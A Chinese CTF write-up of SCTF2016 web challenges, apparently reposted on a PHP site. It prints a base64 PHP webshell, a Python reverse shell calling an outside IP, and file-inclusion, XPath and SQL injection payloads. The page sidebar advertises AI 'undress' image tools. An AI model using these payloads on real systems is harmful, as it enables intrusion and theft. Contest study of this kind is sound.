搜尋
首頁後端開發php教程SCTF2016 痛苦的滲透之路

SCTF2016 痛苦的滲透之路

0x00 前言

這次的CTF玩的很酸爽,一共7個 WEB滲透 類的題目,這也是痛苦的開始。好好的審計,為何加那麼多高門檻。

0x01 Pentest-homework-200

http://homework.sctf.xctf.org.cn/

打開完整,就是登陸頁面,進入註冊。名字,年齡,上傳圖片。

順利登陸之後是顯示一張圖片。還有一個homework的鏈接。

點擊homework鏈接之後是一個包好頁面的網址。

http://homework.sctf.xctf.org.cn/homework.php?homework=homework.txt

可以判定這是一個文件包含漏洞的腦洞。馬上試試上傳木馬圖片來包含。

必然的繼而,包含不成功。

讀取源碼來瞅瞅上傳功能出了什麼問題。

http://homework.sctf.xctf.org.cn/homework.php?homework=php://filter/convert.base64-encode/resource=index.php

果斷成功讀取。然後把該讀取的源碼全都download下來。

通過審計代碼

if(isset($_POST['upload'])){$filename = $_FILES['uploaded']['name'];$filetype = $_FILES['uploaded']['type'];$filesize = $_FILES['uploaded']['size'];$tmpname = $_FILES['uploaded']['tmp_name'];$uploaddir = './upload/';$target_path = $uploaddir.basename($filename);$fileext = substr(strrchr($filename,"."),1);if(($fileext == 'gif')&&($filetype == "image/gif")){    {        if(move_uploaded_file($tmpname,$target_path))        {        }    }    $im =imagecreatefromgif($target_path);    srand(time());    $newfilename = strval(rand()).".gif";    $newimagepath = $uploaddir.$newfilename;    imagegif($im,$newimagepath);    unlink($target_path);}else if(($fileext == 'jpg')&&($filetype == "image/jpeg")){...

果然有點意思,上傳的圖片都經過 imagecreatefromgif等函數處理過了。

但是這不是重點,重點是前面的 move_uploaded_file($tmpname,$target_path)

熟悉php代碼的應該都知道,只是已經成功上傳圖片了的。

成功上傳之後再進行處理並刪除源文件 unlink($target_path);。

所以,這個題目是時間競爭,拼網速,拼人品。

上傳寫shell腳本的圖片馬

fputs(fopen(base64_decode(dmlyLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWyd2aXJpbmsnXSk7Pz4tLS0t));

brup 多線程訪問

http://homework.sctf.xctf.org.cn/homework.php?homework=upload/virink.jpg

註冊上傳。。如果人品好,很快就成功了。

後來,發現,寫的shell莫名其妙就沒了,目測有人攪屎,然後我就寫到/tmp去了。2333333

webshell成功上傳了,但是發現,很多功能都被閹割掉了。

ddisable_functions= passthru,exec,phpinfo,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pcntl_exec

然後就是利用 PHP绕过open_basedir列目录黑科技列目錄。

virink=printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));$file_list = array();$it = new DirectoryIterator("glob:////home/wwwroot/default/web/*");foreach($it as $f) {    $file_list[] = $f->__toString();}$it = new DirectoryIterator("glob:///.*");foreach($it as $f) {    $file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo "{$f}<br/>";}

然後就是讀取flag

virink=echo file_get_contents('/home/wwwroot/default/web/4ff692fb12aa996e27f0a108bfc386c2');

SCTF{g00d_Good_Stu6y}

0x02 Pentest-sycshell-200

http://58.213.63.27:61180

右鍵查看源碼

<!-- 内部系统资料:http://sycshell.sycsec.com:61180/ -->

改Hosts,然後用域名訪問。

再開源碼,解密jsfuck編碼,得到

/W0Ca1N1CaiBuDa0/read.php?f=index

代碼審計,繞過後包含。

源碼:

<?php    show_source(__FILE__);    $pass = @$_GET['pass'];    $a = "syclover";        strlen($pass) > 15 ? die("Don't Hack me!") : "";        if(!is_numeric($pass) || preg_match('/0(x)?|-|\+|\s|^(\.|\d).*$/i',$pass)){        die('error');    }        if($pass == 1 &&  $a[$pass] === "s"){        $file = isset($_GET['f']) ? $_GET['f'].'.php' : 'index.php';        @include $file;    }?>

這裏有一個大腦洞!!!!有版本限制的。

根據提示:sycshell_tip 审计那部分好好看php的底层代码,另外方便大家一下58.213.63.27:61180/phpinfo.php

首先可以得到php 5.3.29版本。

版本漏洞, %0b(\v)可以繞過正則的 \s

/?pass=%0b.1e1

php底層源碼

while (*str == ' ' || *str == '\t' || *str == '\n' || *str == '\r' || *str == '\v' || *str == '\f') {    str++;    length--;}

這個題目的另一個大脑洞就是 phpinfo()+Lfi

然後就是爆破吧、、2333

$pass繞過這個腦洞與phithon牛的一道題目類似的

https://www.leavesongs.com/PENETRATION/some-sangebaimao-ctf-writeups.html?lan=tw&lan=tw&lan=tw

题三: PHP类型与逻辑+fuzz与源代码审计的*0x03 函数特性导致绕过*部分。

0x03 Pentest-DrugMarket1-300

Drug Market: http://www.spentest.com/

一開始就是一個腦洞,偽404 Not Found頁面。我曾經吃過這方面的虧,然後就默默地看源碼,點開隱藏的鏈接了。

http://drug.spentest.com/

點order可以提交數據,然後沒別的什麼功能了。可能存在xss。

我繼續看源碼,有發現一個鏈接。

http://msgboard.spentest.com/

打開頁面直接跳轉到

http://msgboard.spentest.com/index.php?action=login.php

很明顯的一個文件包含漏洞。到處看了下,沒有上傳的地方。

再來研究頁面功能,客戶登陸,隨便填寫用戶名和聯繫方式之後發現存在session。並且用戶名和聯繫方式並沒有過濾。

初步判斷是包含session。習慣性包含/tmp/sess_xxxxxxxxxx,發現並不存在。絕逼改地方了。

然後就是要尋找session的存放地址。首先就得讀取apache的配置文件。

http://msgboard.spentest.com/index.php?action=../../../../../../../../etc/httpd/conf/httpd.conf

得到

<VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    DocumentRoot /var/www/html        <Directory "/var/www/html">    AssignUserId apache apache    php_value session.save_path "/var/lib/php/session"</VirtualHost><VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    ServerName www.spentest.com    DocumentRoot /var/www/webhosts/www        <Directory "/var/www/webhosts/www">    AssignUserId www www    php_value session.save_path "/var/lib/php/session_www"</VirtualHost><VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    ServerName drug.spentest.com    DocumentRoot /var/www/webhosts/drug        <Directory "/var/www/webhosts/drug">    AssignUserId drug drug    php_value session.save_path "/var/lib/php/session_drug"</VirtualHost><VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    ServerName msgboard.spentest.com    DocumentRoot /var/www/webhosts/msgboard        <Directory "/var/www/webhosts/msgboard">    AssignUserId msgboard msgboard    php_value session.save_path "/var/lib/php/session_msgboard"</VirtualHost>

順利知道session的存放地址為 /var/lib/php/session_msgboard

Username 或者 Contact 寫入

http://msgboard.spentest.com/index.php?action=../../../../../../../../var/lib/php/session_msgboard/sess_rb2rbfrie8rku2n81dq52vghp0

然後就是進一步收集信息

virink=phpinfo()

得到

disable_functions=passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server

其他站點都沒有訪問權限,默默地閱讀本站點的源碼。得到數據庫連接信息。

因為這個題目已經被FB了,默默地去收集前輩們的信息。/tmp目錄是我的最愛。。。23333

看了一大堆沒用的東西,同時也得到了一些有用的東西,比如mysql的root密碼。。23333

當時腦抽了,沒有好好保存,在/tmp被莫名其妙地清空後找不到mysql的數據庫相關信息了。

思路中斷,始終不知道如何執行命令。

反復研究提示

  1. 这是渗透题哟,所以请不要囿于你当前的Shell之中,想办法渗透到DRUG站点
  2. 为了让题目更加接近真实环境,所以防火墙规则较为严格

最後又回到XSS上面了。因為看過drug的數據庫,並沒有管理員用戶表。

orderX來X去沒效果,然後在小夥伴提示的情況下,X進adminconfig裏面,成功獲取cookie!

進入管理員頁面,發現存在一個下載圖片的功能。自己服務器監聽一個端口,服務器訪問自己的服務器,無果。

還是在小夥伴的提示下,監聽80端口。。才發現提示2是這個腦洞。

然後就收到了一個wget請求。

目測存在命令執行漏洞。

黑科技 : $IFS 代替 空格

上傳一個反彈的py腳本

virink=fputs(fopen('/tmp/vvv.py',w),base64_decode(aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zDQpzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0Kcy5jb25uZWN0KCgiNDUuNzguMTMuMjMiLDgwKSkNCm9zLmR1cDIocy5maWxlbm8oKSwwKQ0Kb3MuZHVwMihzLmZpbGVubygpLDEpDQpvcy5kdXAyKHMuZmlsZW5vKCksMikNCnA9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9iYXNoIiwiLWkiXSk7DQo));

然後執行命令

http://vvv/flag.jpg;python$IFS/tmp/vvv.py

成功得到一個bash的shell。

最後在/home/drug找到flag1.txt

SCTF{b68181af58bdf261714942f0d1a823be}

0x04 Pentest-ETO-200

http://eto.sctf.xctf.org.cn/

這個是第一個放出來的題目,卻是最後才折騰出來。

簡單試一下,存在注入。

然後、各種注入都沒有成功。

官方給的提示奇葩:

ETO相关 不用再尝试爆破了哈,另外hint一直都在

從頭到尾都沒有發現hint在哪裡。

結束後才發現,注入報錯的時候,在響應頭裏面返回了一個 hint://user[id=1]

出題人這個腦洞絕逼要給101分,滿分100,多一分是深深的父愛。

在小夥伴的提示下,才知道這是一個xpath注入。

引號被過濾了,但官方的提示2說好好利用已存在的字符。

說明,密碼中的字符在username、email和role中存在的。用substring()函數逐个字符判斷就ok了

http://eto.sctf.xctf.org.cn/?action=user&id=1 and substring(//user[1]/username,1,1)=substring(//user[1]/password,1,1)

用你的神器Burp再次爆破一波吧。

最后跑出32位的密码 : Ywj@4791.d_gToWDmceu.Eali0s2yarn

登陆后就可以得到Flag了

SCTF{0f61ce4eb984a4a6d3aaa31f779533df}

0x05 Pentest-Hackme-300-未成功

http://hackme.sctf.xctf.org.cn

坨坨的不会做,还是注入。注入一向是我的弱项。Orz......

根据官方的提示

1.网站开发人员经常会去看备忘录

2.想办法拿到管理员密码

3.注意观察数据库连接方式

4.XSS

以及小伙伴的提示:PDO注入。

百度得到:PDO方式的数据库连接,可以insert注入。

折腾一番到也弄出个样子。

http://hackme.sctf.xctf.org.cn/index.php?id=0;/*!50000insert*//*!50000into*/beiwanglu(id,time,event)/*!50000values*/(9,'virink',/*!50000select*/(/*!50000hex*/(/*!50000load_file*/(0x2F6574632F706173737764))));%23

成功X到了管理员的COOKIE。。。

再根据提示 想办法拿到管理员密码可以大概知道下一步可能是劫持表单,获取管理员的密码。

然而,我就不会了。

XSS比SQL注入更渣~~Orz.....

0x06 写在最后

最终以0x01-0x04+签到10分的总分 910分结束本次CTF。

脑洞还是不够大,经验太少。而且还犯傻。很多关键的地方和非关键地方都陷入了思维误区,没有小伙伴提示的话,我估计也就能拿个10分的签到分了。

陳述
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
PHP的目的:構建動態網站PHP的目的:構建動態網站Apr 15, 2025 am 12:18 AM

PHP用於構建動態網站,其核心功能包括:1.生成動態內容,通過與數據庫對接實時生成網頁;2.處理用戶交互和表單提交,驗證輸入並響應操作;3.管理會話和用戶認證,提供個性化體驗;4.優化性能和遵循最佳實踐,提升網站效率和安全性。

PHP:處理數據庫和服務器端邏輯PHP:處理數據庫和服務器端邏輯Apr 15, 2025 am 12:15 AM

PHP在數據庫操作和服務器端邏輯處理中使用MySQLi和PDO擴展進行數據庫交互,並通過會話管理等功能處理服務器端邏輯。 1)使用MySQLi或PDO連接數據庫,執行SQL查詢。 2)通過會話管理等功能處理HTTP請求和用戶狀態。 3)使用事務確保數據庫操作的原子性。 4)防止SQL注入,使用異常處理和關閉連接來調試。 5)通過索引和緩存優化性能,編寫可讀性高的代碼並進行錯誤處理。

您如何防止PHP中的SQL注入? (準備的陳述,PDO)您如何防止PHP中的SQL注入? (準備的陳述,PDO)Apr 15, 2025 am 12:15 AM

在PHP中使用預處理語句和PDO可以有效防範SQL注入攻擊。 1)使用PDO連接數據庫並設置錯誤模式。 2)通過prepare方法創建預處理語句,使用佔位符和execute方法傳遞數據。 3)處理查詢結果並確保代碼的安全性和性能。

PHP和Python:代碼示例和比較PHP和Python:代碼示例和比較Apr 15, 2025 am 12:07 AM

PHP和Python各有優劣,選擇取決於項目需求和個人偏好。 1.PHP適合快速開發和維護大型Web應用。 2.Python在數據科學和機器學習領域佔據主導地位。

PHP行動:現實世界中的示例和應用程序PHP行動:現實世界中的示例和應用程序Apr 14, 2025 am 12:19 AM

PHP在電子商務、內容管理系統和API開發中廣泛應用。 1)電子商務:用於購物車功能和支付處理。 2)內容管理系統:用於動態內容生成和用戶管理。 3)API開發:用於RESTfulAPI開發和API安全性。通過性能優化和最佳實踐,PHP應用的效率和可維護性得以提升。

PHP:輕鬆創建交互式Web內容PHP:輕鬆創建交互式Web內容Apr 14, 2025 am 12:15 AM

PHP可以輕鬆創建互動網頁內容。 1)通過嵌入HTML動態生成內容,根據用戶輸入或數據庫數據實時展示。 2)處理表單提交並生成動態輸出,確保使用htmlspecialchars防XSS。 3)結合MySQL創建用戶註冊系統,使用password_hash和預處理語句增強安全性。掌握這些技巧將提升Web開發效率。

PHP和Python:比較兩種流行的編程語言PHP和Python:比較兩種流行的編程語言Apr 14, 2025 am 12:13 AM

PHP和Python各有優勢,選擇依據項目需求。 1.PHP適合web開發,尤其快速開發和維護網站。 2.Python適用於數據科學、機器學習和人工智能,語法簡潔,適合初學者。

PHP的持久相關性:它還活著嗎?PHP的持久相關性:它還活著嗎?Apr 14, 2025 am 12:12 AM

PHP仍然具有活力,其在現代編程領域中依然佔據重要地位。 1)PHP的簡單易學和強大社區支持使其在Web開發中廣泛應用;2)其靈活性和穩定性使其在處理Web表單、數據庫操作和文件處理等方面表現出色;3)PHP不斷進化和優化,適用於初學者和經驗豐富的開發者。

See all articles

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
4 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
4 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
4 週前By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解鎖Myrise中的所有內容
1 個月前By尊渡假赌尊渡假赌尊渡假赌

熱工具

SublimeText3 Linux新版

SublimeText3 Linux新版

SublimeText3 Linux最新版

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

將Eclipse與SAP NetWeaver應用伺服器整合。

VSCode Windows 64位元 下載

VSCode Windows 64位元 下載

微軟推出的免費、功能強大的一款IDE編輯器

Dreamweaver Mac版

Dreamweaver Mac版

視覺化網頁開發工具

Atom編輯器mac版下載

Atom編輯器mac版下載

最受歡迎的的開源編輯器